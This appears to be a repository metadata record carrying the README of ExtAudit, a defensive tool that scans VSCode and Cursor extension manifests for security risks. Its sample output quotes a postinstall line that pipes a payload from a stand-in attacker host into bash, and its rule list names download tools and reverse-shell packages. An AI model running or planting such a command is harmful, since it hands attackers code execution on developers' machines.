{"id":50595879,"url":"https://github.com/rogerchappel/extaudit","last_synced_at":"2026-06-05T14:01:35.149Z","repository":{"id":360535524,"uuid":"1245018207","full_name":"rogerchappel/extaudit","owner":"rogerchappel","description":null,"archived":false,"fork":false,"pushed_at":"2026-05-26T19:52:53.000Z","size":140,"stargazers_count":0,"open_issues_count":5,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-05-26T21:23:49.428Z","etag":null,"topics":["cli","cursor","developer-tools","security","supply-chain","typescript","vscode"],"latest_commit_sha":null,"homepage":null,"language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/rogerchappel.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2026-05-20T20:36:59.000Z","updated_at":"2026-05-26T19:51:45.000Z","dependencies_parsed_at":null,"dependency_job_id":null,"html_url":"https://github.com/rogerchappel/extaudit","commit_stats":null,"previous_names":["rogerchappel/extaudit"],"tags_count":null,"template":false,"template_full_name":null,"purl":"pkg:github/rogerchappel/extaudit","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rogerchappel%2Fextaudit","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rogerchappel%2Fextaudit/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rogerchappel%2Fextaudit/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rogerchappel%2Fextaudit/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/rogerchappel","download_url":"https://codeload.github.com/rogerchappel/extaudit/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/rogerchappel%2Fextaudit/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33944671,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-06-05T02:00:06.157Z","response_time":120,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cli","cursor","developer-tools","security","supply-chain","typescript","vscode"],"created_at":"2026-06-05T14:01:34.084Z","updated_at":"2026-06-05T14:01:35.144Z","avatar_url":"https://github.com/rogerchappel.png","language":"TypeScript","funding_links":[],"categories":[],"sub_categories":[],"readme":"# ExtAudit — VSCode/Cursor Extension Security Auditor 🛡️\n\n\u003e Scan VSCode extension manifests for suspicious permissions, network access patterns, and security anomalies — before you trust them with your code.\n\n\u003cp align=\"center\"\u003e\n  \u003cimg alt=\"Platform\" src=\"https://img.shields.io/badge/platform-VSCode%20%7C%20Cursor-blue\"\u003e\n  \u003cimg alt=\"License\" src=\"https://img.shields.io/badge/license-MIT-green\"\u003e\n\u003c/p\u003e\n\n## Why?\n\nVSCode extensions have deep access to your workspace, files, and network. A malicious or compromised extension can:\n\n- 🕵️ Exfiltrate your source code, API keys, or credentials\n- 📋 Read everything you type (keylogger risk)\n- 🌐 Phone home telemetry data\n- 💻 Execute arbitrary commands via postinstall scripts\n- 🔒 Bypass workspace trust boundaries\n\nExtAudit scans extension `package.json` manifests locally (zero network calls) and produces a risk-scored report with actionable findings.\n\n## Quick Start\n\n```bash\n# Install\nnpm install -g extaudit\n\n# Scan your VSCode extensions\nextaudit scan ~/.vscode/extensions\n\n# Scan Cursor extensions\nextaudit scan ~/.cursor/extensions\n\n# Scan any directory of package.json files\nextaudit scan ./my-extensions/\n\n# JSON output\nextaudit scan ~/.vscode/extensions --format json\n\n# Markdown report\nextaudit report ~/.vscode/extensions -o audit-report.md\n\n# CI gate — fail if any extension scores above threshold\nextaudit scan ./extensions --max-score 25\n```\n\n## Commands\n\n| Command | Description |\n|---------|-------------|\n| `extaudit scan [dir...]` | Scan extension manifests for security risks |\n| `extaudit report [dir...]` | Generate a shareable Markdown report |\n| `extaudit rules` | List all built-in security rules |\n| `extaudit version` | Show version |\n| `extaudit help` | Show help |\n\n## Risk Categories\n\n| Category | Score Range | Meaning |\n|----------|-------------|--------|\n| ✅ Safe | 0-9 | No concerning patterns found |\n| ⚠️ Caution | 10-24 | Minor concerns, usually benign |\n| 🔶 Suspicious | 25-49 | Worth investigating before trusting |\n| 🔴 Dangerous | 50-100 | Significant risk — review or avoid |\n\n## Security Rules (14 built-in)\n\n### Scripts (2 rules)\n- **SCR-001** Postinstall script — Detects `postinstall` scripts (common supply-chain vector)\n- **SCR-002** Dangerous script commands — Detects `curl`, `wget`, `eval`, `child_process` in scripts\n\n### Network (2 rules)\n- **NET-001** Network capability in main — Reads main entry point for HTTP/fetch patterns\n- **NET-002** Network dependencies — Flags dependencies like `axios`, `node-fetch`, `ws`, `got`\n\n### Permissions (4 rules)\n- **PERM-001** Wide activation events — Flags extensions with many activation events or `*`\n- **PERM-002** Workspace trust bypass — Detects `extensionKind: \"ui\"`\n- **PERM-003** File system access — Detects `fs` module imports in main entry\n- **PERM-004** Process spawning — Detects `child_process` in main entry point\n\n### Dependencies (3 rules)\n- **DEP-001** Excessive dependencies — Flags extensions with 20+ direct dependencies\n- **DEP-002** Crypto dependencies — Flags `crypto-js`, `bcrypt`, `libsodium`, etc.\n- **DEP-003** Suspicious dependencies — Flags `javascript-obfuscator`, `vm2`, `pkg`, reverse-shell packages\n\n### Metadata (2 rules)\n- **META-001** Missing description — Flags extensions without a description\n- **META-002** Missing homepage/repository — No homepage or repo URL for verification\n\n### Publisher (1 rule)\n- **PUB-001** Missing publisher — No publisher declared\n\n## Example Output\n\n```\nextaudit — Extension Manifest Auditor\n======================================\n\nScanned: 5 extensions\nOverall risk: CAUTION\n\nSeverity summary:\n  Low: 2     Medium: 4     High: 7     Critical: 1\n\nTop findings:\n  🚨 Code Helper Plus — score 43 (suspicious)\n    CRITICAL: Postinstall script — \"curl -s https://evil-payload.example.com/payload | bash\"\n    HIGH: Network dependencies — axios, node-fetch, ws\n    HIGH: Wide activation events — 7 activation events incl. always-on (*)\n  ⚠️ Network Crawler — score 31 (suspicious)\n    HIGH: Postinstall script — \"node scripts/setup.js\"\n    HIGH: Network dependencies — axios, node-fetch, got, socks-proxy-agent\n  ✅ Oceanic Next Theme — score 1 (safe)\n```\n\n## Exit Codes\n\n| Code | Meaning |\n|------|---------|\n| `0` | Success — no dangerous extensions found |\n| `1` | Error during scan |\n| `2` | CI gate trigger — extension score ≥ `--max-score` |\n\n## Development\n\n```bash\ngit clone https://github.com/rogerchappel/extaudit\ncd extaudit\nnpm install\n\n# Type check\nnpm run check\n\n# Run tests\nnpm test\n\n# Build\nnpm run build\n\n# Run from source\nnpm run dev -- scan fixtures/extensions\n\n# Run smoke tests\nnpm run smoke\n\n# Package and release readiness\nnpm pack --dry-run\nnpm run release:check\n\n# Full validation\nbash scripts/validate.sh\n```\n\n## Project Structure\n\n```\nextaudit/\n├── src/\n│   ├── types.ts        # Core type definitions\n│   ├── rules.ts        # 14 built-in security rules\n│   ├── manifest.ts     # Extension manifest parser \u0026 directory scanner\n│   ├── scorer.ts       # Risk scoring engine + report formatters\n│   ├── cli.ts          # CLI entry point (Commander)\n│   └── index.ts        # Library exports\n├── fixtures/\n│   └── extensions/     # Test fixture extensions (safe, suspicious, risky)\n├── tests/              # Vitest unit + integration tests\n├── scripts/            # smoke.sh, validate.sh\n├── docs/\n│   ├── PRD.md          # Product requirements document\n│   └── TASKS.md        # Task tracking\n└── package.json\n```\n\n## License\n\nMIT — See [LICENSE](LICENSE) for details.\n\n## Author\n\n**Roger Chappel** — [GitHub](https://github.com/rogerchappel)\n\n---\n\n_This tool performs static analysis only. It does not execute extension code, modify your system, or transmit any data. All scanning is 100% offline and local-first._\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frogerchappel%2Fextaudit","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Frogerchappel%2Fextaudit","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Frogerchappel%2Fextaudit/lists"}